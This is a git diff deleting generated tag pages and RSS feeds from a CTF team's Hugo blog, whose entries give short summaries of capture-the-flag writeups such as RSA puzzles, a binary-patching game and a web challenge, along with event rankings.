- - - diff --git a/public/tags/cybercup-2025/index.html b/public/tags/cybercup-2025/index.html deleted file mode 100644 index bfab238f..00000000 --- a/public/tags/cybercup-2025/index.html +++ /dev/null @@ -1,300 +0,0 @@ - - - - - - - - - - - Cybercup 2025 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Cybercup 2025

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/cybercup-2025/index.xml b/public/tags/cybercup-2025/index.xml deleted file mode 100644 index ead7a530..00000000 --- a/public/tags/cybercup-2025/index.xml +++ /dev/null @@ -1,55 +0,0 @@ - - - - Cybercup 2025 on ByteTheCookies - http://localhost:1313/tags/cybercup-2025/ - Recent content in Cybercup 2025 on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Apr 2025 17:54:49 +0200 - - Ulisse CTF 2025 - http://localhost:1313/writeups/ulisse2025/ - Tue, 08 Apr 2025 17:54:49 +0200 - - http://localhost:1313/writeups/ulisse2025/ - Ulisse CTF 2025 Description Ulisse CTF is the first edition of the annual competition hosted by the Ulisse CTF Team at the University of Bologna. Open to participants of all skill levels, it aims to provide a learning experience for everyone! -Url Discord Performance Summary CTFs: 12/29 Total points: 1923.000 Position: 11/169 Rating points: 8.533 Writeups Web Telemetry StackBank 1 - - - - K!nd4SUS CTF 2025 - http://localhost:1313/writeups/k1ndasus2025/ - Mon, 24 Mar 2025 12:58:37 +0200 - - http://localhost:1313/writeups/k1ndasus2025/ - K!nd4SUS CTF 2025 Description K!nd4SUS CTF is a Jeopardy-style Capture-The-Flag competition created with love by the K!nd4SUS Team, from the University of Milan. The challenges topics include binary exploitation, web security, reverse engineering, web3, forensics, OSINT, cryptography, and creative miscellaneous challenges! -Url Performance Summary CTFs: 10/? Total points: 2462 Position: 16/207 Rating points: 6.059 Writeups Crypto Key in the haystack - - - - TRX CTF 2025 - http://localhost:1313/writeups/trx2025/ - Mon, 10 Mar 2025 18:57:11 +0100 - - http://localhost:1313/writeups/trx2025/ - TRX CTF 2025 Description TheRomanXpl0it is pleased to announce TRX CTF 2025! -TRX CTF will be a jeopardy style CTF and last a whole day (24-hours), from the 22nd of February 14:00 UTC, to the 23rd of February 2025 14:00 UTC. -The team has made a humongous effort developing interesting challenges in every classic CTF category such as Web, Pwn, Rev and Crypto! -We hope you&rsquo;ll have fun playing the competition! - - - - Srdnlen CTF 2025 - http://localhost:1313/writeups/srdnlen2025/ - Mon, 10 Mar 2025 18:56:14 +0100 - - http://localhost:1313/writeups/srdnlen2025/ - Srdnlen CTF 2025 Description Srdnlen CTF is a Jeopardy-style Capture-The-Flag competition hosted by the members of Srdnlen, an italian team based in Sardinia. -This CTF welcomes both beginners and advanced players. The challenges topics include reverse engineering, binary exploitation, web security, cryptography, forensics. -For the best 10 teams, in-person finals will be organized in Sardinia (date to be decided) -Url Discord Performance Summary CTFs: n/M Total points: 270.0 Position: 98/848 Rating points: 2. - - - - \ No newline at end of file diff --git a/public/tags/cybercup-2025/page/1/index.html b/public/tags/cybercup-2025/page/1/index.html deleted file mode 100644 index 2f96b7fd..00000000 --- a/public/tags/cybercup-2025/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/cybercup-2025/ - - - - - - diff --git a/public/tags/cybercup/index.html b/public/tags/cybercup/index.html deleted file mode 100644 index c159bf62..00000000 --- a/public/tags/cybercup/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Cybercup - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Cybercup

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/cybercup/index.xml b/public/tags/cybercup/index.xml deleted file mode 100644 index 0b33f448..00000000 --- a/public/tags/cybercup/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Cybercup on ByteTheCookies - http://localhost:1313/tags/cybercup/ - Recent content in Cybercup on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Apr 2025 17:54:49 +0200 - - Ulisse CTF 2025 - http://localhost:1313/writeups/ulisse2025/ - Tue, 08 Apr 2025 17:54:49 +0200 - - http://localhost:1313/writeups/ulisse2025/ - Name ctf Description &hellip; -Url Discord Performance Summary CTFs: n/M Total points: &hellip; Position: n/M Rating points: &hellip; Writeups Category Name challange - - - - \ No newline at end of file diff --git a/public/tags/cybercup/page/1/index.html b/public/tags/cybercup/page/1/index.html deleted file mode 100644 index c21dc104..00000000 --- a/public/tags/cybercup/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/cybercup/ - - - - - - diff --git a/public/tags/cybercup2025/index.html b/public/tags/cybercup2025/index.html deleted file mode 100644 index be13316c..00000000 --- a/public/tags/cybercup2025/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - CyberCup2025 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

CyberCup2025

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/cybercup2025/index.xml b/public/tags/cybercup2025/index.xml deleted file mode 100644 index 1cbdc6ed..00000000 --- a/public/tags/cybercup2025/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - CyberCup2025 on ByteTheCookies - http://localhost:1313/tags/cybercup2025/ - Recent content in CyberCup2025 on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Jun 2025 18:30:32 +0200 - - CornCTF 2025 - http://localhost:1313/writeups/cornctf2025/ - Mon, 23 Jun 2025 18:30:32 +0200 - - http://localhost:1313/writeups/cornctf2025/ - CornCTF 2025 Description A CTF by a friendly team of farmers. Includes challenges of the following categories: -Url Discord Performance Summary CTFs: 8/22 Total points: 1966 Position: 9/270 Rating points: 8.811 Writeups Crypto ECRSA Web Aeronaut Simple-chat - - - - \ No newline at end of file diff --git a/public/tags/cybercup2025/page/1/index.html b/public/tags/cybercup2025/page/1/index.html deleted file mode 100644 index dacaa9cb..00000000 --- a/public/tags/cybercup2025/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/cybercup2025/ - - - - - - diff --git a/public/tags/cyberspace/index.html b/public/tags/cyberspace/index.html deleted file mode 100644 index 0e4b952e..00000000 --- a/public/tags/cyberspace/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Cyberspace - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Cyberspace

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/cyberspace/index.xml b/public/tags/cyberspace/index.xml deleted file mode 100644 index a9469f00..00000000 --- a/public/tags/cyberspace/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Cyberspace on ByteTheCookies - http://localhost:1313/tags/cyberspace/ - Recent content in Cyberspace on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:52:16 +0200 - - CyberSpace CTF 2024 - http://localhost:1313/writeups/cyberspace2024/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/writeups/cyberspace2024/ - CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! -Url Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake - - - - \ No newline at end of file diff --git a/public/tags/cyberspace/page/1/index.html b/public/tags/cyberspace/page/1/index.html deleted file mode 100644 index e7bd8c41..00000000 --- a/public/tags/cyberspace/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/cyberspace/ - - - - - - diff --git a/public/tags/dadadani/index.html b/public/tags/dadadani/index.html deleted file mode 100644 index 1084f34a..00000000 --- a/public/tags/dadadani/index.html +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - Dadadani - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Dadadani

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/dadadani/index.xml b/public/tags/dadadani/index.xml deleted file mode 100644 index 97edc793..00000000 --- a/public/tags/dadadani/index.xml +++ /dev/null @@ -1,36 +0,0 @@ - - - - Dadadani on ByteTheCookies - http://localhost:1313/tags/dadadani/ - Recent content in Dadadani on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 23 Dec 2024 16:51:39 +0100 - - DroidCryptor - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - Mon, 23 Dec 2024 16:51:39 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/droidcryptor/ - DroidCryptor Description: One of my friends told me about this application that promised to keep your data safe. When I tried to encrypt the data I found out later that there is no way to decrypt it! Can you retrieve my message? -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - ImgPlace - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - Mon, 23 Dec 2024 16:48:55 +0100 - - http://localhost:1313/writeups/m0lecon2025beginner/imgplace/ - ImgPlace Description: Are you a photographer but have no reputation? Join ImgPlace! Share your photos&hellip; and become popular! -Introduction We have a very simple application where we are allowed to register and log in and then we can upload images via url and associated description -Source The source is only parsable by devtools from the browser, and we can see that in the pic.js file we have a function that sanitizes the image description - - - - \ No newline at end of file diff --git a/public/tags/dadadani/page/1/index.html b/public/tags/dadadani/page/1/index.html deleted file mode 100644 index adece7e1..00000000 --- a/public/tags/dadadani/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/dadadani/ - - - - - - diff --git a/public/tags/deut-erium/index.html b/public/tags/deut-erium/index.html deleted file mode 100644 index 50935fe4..00000000 --- a/public/tags/deut-erium/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Deut-Erium - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Deut-Erium

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/deut-erium/index.xml b/public/tags/deut-erium/index.xml deleted file mode 100644 index f8d550ba..00000000 --- a/public/tags/deut-erium/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Deut-Erium on ByteTheCookies - http://localhost:1313/tags/deut-erium/ - Recent content in Deut-Erium on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:19 +0200 - - Some Trick - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Mon, 26 Aug 2024 17:04:19 +0200 - - http://localhost:1313/writeups/sekaictf2024/sometrick/ - Some Trick Description: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen. -Introduction Some Trick was the first cryptography challenge in the 2024 edition of SekaiCTF. The challenge implements a key exchange based on a set of permutations and asks us to retrieve the flag that was used as a key in Bob&rsquo;s first encryption. -import random from secrets import randbelow, randbits from flag import FLAG CIPHER_SUITE = randbelow(2**256) print(f&quot;oPUN_SASS_SASS_l version 4. - - - - \ No newline at end of file diff --git a/public/tags/deut-erium/page/1/index.html b/public/tags/deut-erium/page/1/index.html deleted file mode 100644 index f2953732..00000000 --- a/public/tags/deut-erium/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/deut-erium/ - - - - - - diff --git a/public/tags/dope_cat/index.html b/public/tags/dope_cat/index.html deleted file mode 100644 index 362c5f49..00000000 --- a/public/tags/dope_cat/index.html +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - Dope_cat - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Dope_cat

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/dope_cat/index.xml b/public/tags/dope_cat/index.xml deleted file mode 100644 index a5fa72db..00000000 --- a/public/tags/dope_cat/index.xml +++ /dev/null @@ -1,33 +0,0 @@ - - - - Dope_cat on ByteTheCookies - http://localhost:1313/tags/dope_cat/ - Recent content in Dope_cat on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 06 Oct 2024 13:49:47 +0200 - - Rivest, Shamir, Adleman 2 - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - Sun, 06 Oct 2024 13:49:47 +0200 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/ - Rivest, Shamir, Adleman 2 Description: Little John has done his homework and tried fixing the issue in his script. Can you still find his secret. -Introduction Rivest, Shamir, Adleman 2 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. It is meant as a sequel to Rivest, Shamir, Adleman 1. We&rsquo;re not given a script that generates the parameters, simply the public key and the ciphertext. -(N,e,c)=(161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365) Solution Since N is prime we can just calculate the e-th roots of c to find the plaintext(s) - - - - Rivest, Shamir, Adleman 1 - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - Sun, 06 Oct 2024 13:49:39 +0200 - - http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/ - Rivest, Shamir, Adleman 1 Description: Little John came across an article on RSA encryption. Intrigued but only partially understanding it, he decided to write a script and started using it to communicate with his aunt. Can you figure out what he&rsquo;s discussing? -Introduction Rivest, Shamir, Adleman 1 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. -from Crypto.Util.number import * m = open(&quot;flag.txt&quot;,'rb').read() m = bytes_to_long(m) p = getPrime(1024) q = getPrime(1024) N = p*q e = getRandomNBitInteger(16) c = pow(m,e,N) p_ = p &gt;&gt; (200) print(f&quot;{(p_,N,e,c)=}&quot;) # (p_,N,e,c)=(78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693) It is a typical rsa challenge where you&rsquo;re given a &ldquo;leak&rdquo;: some part of the private key which allows you to retrieve it fully. - - - - \ No newline at end of file diff --git a/public/tags/dope_cat/page/1/index.html b/public/tags/dope_cat/page/1/index.html deleted file mode 100644 index 6b30e73e..00000000 --- a/public/tags/dope_cat/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/dope_cat/ - - - - - - diff --git a/public/tags/drago/index.html b/public/tags/drago/index.html deleted file mode 100644 index e879cf9a..00000000 --- a/public/tags/drago/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Drago - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Drago

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/drago/index.xml b/public/tags/drago/index.xml deleted file mode 100644 index c57fe409..00000000 --- a/public/tags/drago/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Drago on ByteTheCookies - http://localhost:1313/tags/drago/ - Recent content in Drago on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 15 Sep 2024 10:58:00 +0200 - - Yet Another OT - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - Sun, 15 Sep 2024 10:58:00 +0200 - - http://localhost:1313/writeups/m0lecon2025teaser/yetanotherot/ - Yet Another OT Description: Why do people always want to decrypt both messages? -Disclaimer I wasn&rsquo;t able to solve this challenge during the competition, but managed to get to the solution after talking on discord to other competitors who very kindly helped me figure it out. -Introduction Yet Another OT was a crypto CTF from m0leCon 2025 hosted by pwnthem0le. -import random from hashlib import sha256 import json import os from Crypto. - - - - \ No newline at end of file diff --git a/public/tags/drago/page/1/index.html b/public/tags/drago/page/1/index.html deleted file mode 100644 index 15bba200..00000000 --- a/public/tags/drago/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/drago/ - - - - - - diff --git a/public/tags/file-patching/index.html b/public/tags/file-patching/index.html deleted file mode 100644 index 2e9d4e07..00000000 --- a/public/tags/file-patching/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - File Patching - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

File Patching

- - - -
- - -
-

2024

- -
    - -
  • - Snake - - - 09/02 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/file-patching/index.xml b/public/tags/file-patching/index.xml deleted file mode 100644 index d3829851..00000000 --- a/public/tags/file-patching/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - File Patching on ByteTheCookies - http://localhost:1313/tags/file-patching/ - Recent content in File Patching on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:59:36 +0200 - - Snake - http://localhost:1313/writeups/cyberspace2024/snake/ - Mon, 02 Sep 2024 10:59:36 +0200 - - http://localhost:1313/writeups/cyberspace2024/snake/ - Snake Description: Can you slither to the win? -Link to the binary: Elf file -Introduction We are faced with a binary file written in Rust (you can see it by simply running strings snake | grep rustc) where we are made to play Snake, the goal is to get PRECISELY to 16525 points. -Solution The solutions were actually different, some people used tools to analyze the memory of a process in real time, I preferred a &lsquo;slower&rsquo; approach, or rather the first thing that came to mind, so I opened binary ninja despite the file being stripped and looked for a value for constant exactly 0xa (i. - - - - \ No newline at end of file diff --git a/public/tags/file-patching/page/1/index.html b/public/tags/file-patching/page/1/index.html deleted file mode 100644 index 51a644f9..00000000 --- a/public/tags/file-patching/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/file-patching/ - - - - - - diff --git a/public/tags/filter-bypass-+-rce/index.html b/public/tags/filter-bypass-+-rce/index.html deleted file mode 100644 index a536e47c..00000000 --- a/public/tags/filter-bypass-+-rce/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Filter Bypass + RCE - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Filter Bypass + RCE

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/filter-bypass-+-rce/index.xml b/public/tags/filter-bypass-+-rce/index.xml deleted file mode 100644 index 7a906e66..00000000 --- a/public/tags/filter-bypass-+-rce/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Filter Bypass + RCE on ByteTheCookies - http://localhost:1313/tags/filter-bypass-+-rce/ - Recent content in Filter Bypass + RCE on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 07 Oct 2024 22:24:02 +0200 - - b64SiteViewer - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - Mon, 07 Oct 2024 22:24:02 +0200 - - http://localhost:1313/writeups/ironctf2024/b64siteviewer/ - b64SiteViewer Description: This is one of the challenges added later, but despite that it wasn&rsquo;t very complex, in fact the most complex part wasn&rsquo;t even the web part, but despite that the challenge was still really nice -Introduction We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands - - - - \ No newline at end of file diff --git a/public/tags/filter-bypass-+-rce/page/1/index.html b/public/tags/filter-bypass-+-rce/page/1/index.html deleted file mode 100644 index d6c3d86c..00000000 --- a/public/tags/filter-bypass-+-rce/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/filter-bypass-+-rce/ - - - - - - diff --git a/public/tags/forensics/index.html b/public/tags/forensics/index.html deleted file mode 100644 index c2f5ff8f..00000000 --- a/public/tags/forensics/index.html +++ /dev/null @@ -1,298 +0,0 @@ - - - - - - - - - - - Forensics - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Forensics

- - - -
- - -
-

2025

- -
- -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/forensics/index.xml b/public/tags/forensics/index.xml deleted file mode 100644 index 1eb6380d..00000000 --- a/public/tags/forensics/index.xml +++ /dev/null @@ -1,42 +0,0 @@ - - - - Forensics on ByteTheCookies - http://localhost:1313/tags/forensics/ - Recent content in Forensics on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 29 Jul 2025 09:09:33 +0200 - - Word Wide Flag CTF 2025 - http://localhost:1313/writeups/wwfctf2025/ - Tue, 29 Jul 2025 09:09:33 +0200 - - http://localhost:1313/writeups/wwfctf2025/ - World Wide CTF 2025 Description Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025! -More Prizes, More Categories, and Much More Fun! -Url Discord Performance Summary CTFs: 20/57 Total points: 6537 Position: 24/850 Rating points: 12.510 Writeups Web &amp; Web3 Blank Login Solidity Jail 1 - - - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - CyberSpace CTF 2024 - http://localhost:1313/writeups/cyberspace2024/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/writeups/cyberspace2024/ - CyberSpace CTF 2024 Description Get ready to dive into the cyberspace and tackle challenges across categories such as Forensics, Reverse Engineering, Cryptography, Jail, and many more, at https://2024.csc.tf! -Url Discord Performance Summary CTFs: 21/63 Total points: 2032 Position: 83/830 Rating points: 3.355 Writeups Crypto trendy windy trigonity Web ZipZone FeatureUnlocked Trendz (part 1 and 2) Rev Snake - - - - \ No newline at end of file diff --git a/public/tags/forensics/page/1/index.html b/public/tags/forensics/page/1/index.html deleted file mode 100644 index 372dd279..00000000 --- a/public/tags/forensics/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/forensics/ - - - - - - diff --git a/public/tags/forensisc/index.html b/public/tags/forensisc/index.html deleted file mode 100644 index e42fc02c..00000000 --- a/public/tags/forensisc/index.html +++ /dev/null @@ -1,246 +0,0 @@ - - - - - - - - Forensisc - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Forensisc

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/forensisc/index.xml b/public/tags/forensisc/index.xml deleted file mode 100644 index 1f1e8915..00000000 --- a/public/tags/forensisc/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Forensisc on ByteTheCookies - http://localhost:1313/tags/forensisc/ - Recent content in Forensisc on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 02 Sep 2024 10:52:16 +0200 - - CyberSpace CTF 2024 - http://localhost:1313/writeups/cyberspace2024/ - Mon, 02 Sep 2024 10:52:16 +0200 - - http://localhost:1313/writeups/cyberspace2024/ - Name ctf Description &hellip; -Url Discord Performance Summary CTFs: n/M Total points: &hellip; Position: n/M Rating points: &hellip; Writeups Category Name challange - - - - \ No newline at end of file diff --git a/public/tags/forensisc/page/1/index.html b/public/tags/forensisc/page/1/index.html deleted file mode 100644 index 7d710140..00000000 --- a/public/tags/forensisc/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/forensisc/ - - - - - - diff --git a/public/tags/gamehacking/index.html b/public/tags/gamehacking/index.html deleted file mode 100644 index d17d11eb..00000000 --- a/public/tags/gamehacking/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - GameHacking - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

GameHacking

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/gamehacking/index.xml b/public/tags/gamehacking/index.xml deleted file mode 100644 index ce8bdeb4..00000000 --- a/public/tags/gamehacking/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - GameHacking on ByteTheCookies - http://localhost:1313/tags/gamehacking/ - Recent content in GameHacking on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 06 Oct 2024 13:48:21 +0200 - - IRON CTF 2024 - http://localhost:1313/writeups/ironctf2024/ - Sun, 06 Oct 2024 13:48:21 +0200 - - http://localhost:1313/writeups/ironctf2024/ - IRON CTF 2024 Description Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)! -Team 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you&rsquo;re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition. -Tackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more. - - - - \ No newline at end of file diff --git a/public/tags/gamehacking/page/1/index.html b/public/tags/gamehacking/page/1/index.html deleted file mode 100644 index 168921c0..00000000 --- a/public/tags/gamehacking/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/gamehacking/ - - - - - - diff --git a/public/tags/gheddus/index.html b/public/tags/gheddus/index.html deleted file mode 100644 index 8ca3978c..00000000 --- a/public/tags/gheddus/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Gheddus - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 